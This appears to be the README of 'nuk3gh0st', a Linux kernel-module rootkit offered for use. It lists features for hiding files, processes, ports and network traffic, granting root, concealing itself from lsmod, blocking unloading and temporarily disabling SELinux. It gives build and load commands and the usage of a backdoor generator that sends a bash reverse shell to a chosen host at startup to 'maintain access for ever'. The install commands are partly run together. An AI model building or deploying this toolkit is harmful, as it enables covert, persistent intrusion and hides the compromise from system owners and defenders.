Currently there are problems after i adding the functionality of hiding network traffic, and also is unstable in multicore systems
Universal Linux LKM rootkit, designed to work in any kernel version and both architectures (x86 and x64).
- Is the most stable Linux LKM rootkit, working in any kernel version from 2.6.32 to 4.17.9.
- Tested on 17 different distros with different kernel versions.
- Can enable rootkit at startup, supporting sysv-init, upstart and systemd.
- Includes backdoor generator, wich runs at system startup and is hidden by nuk3gh0st rootkit (files, process and traffic).
- Temporaly disables SELINUX if it is present, to load rootkit and enable it at startup withouth problems.
- Can hide files, processes, ports TCP and UDP of IPv4 and IPv6, and even TCP incoming and outgoing traffic.
- Hides itself from be watched trough lsmod, and hides their own files during rootkit loading.
- Easy to use, easy to build and compiles cleanly withouth any warning.
The rootkit can do the following:
- Grant root privileges to a userland process
- Hide process by PID
- Unhide a previously hidden process by PID
- Hide files or directories by their name
- Unhide previously hidden files or directories
- Hide TCP ports (for IPv4 and IPv6)
- Unhide previously hidden TCP ports
- Hide UDP ports (for IPv4 and IPv6)
- Unhide previously hidden UDP ports
- Hide incoming or outgoing TCP traffic by ip address
- Unhide previously hidden TCP traffic by ip address
- Hide itself
- Unhide itself
- Protect against being unloaded by the user
- Disable the unload protection

apt-get install build-essentialyum update
yum install linux-headers-$(uname -r)
yum install build-essentialmake
make installLoad rootkit:
load-nuk3gh0stUse rootkit:

Generates a backdoor that sends bash reverse TCP shell
every S seconds to H host, listening on P port
and running it on startup, hidding itself
with Nuk3gh0st LKM rootkit
In other words...
YOU CAN MANTAIN ACCESS FOR EVER AND EVER!
Usage:
backdoor-generator --host H --port P --sleep S
Genetares a backdoor that sends bash reverse TCP shell
every S seconds to H host listening on P port, and
running it on startup.
backdoor-generator --remove
Remove previously generated backdoor from startup
and their files.
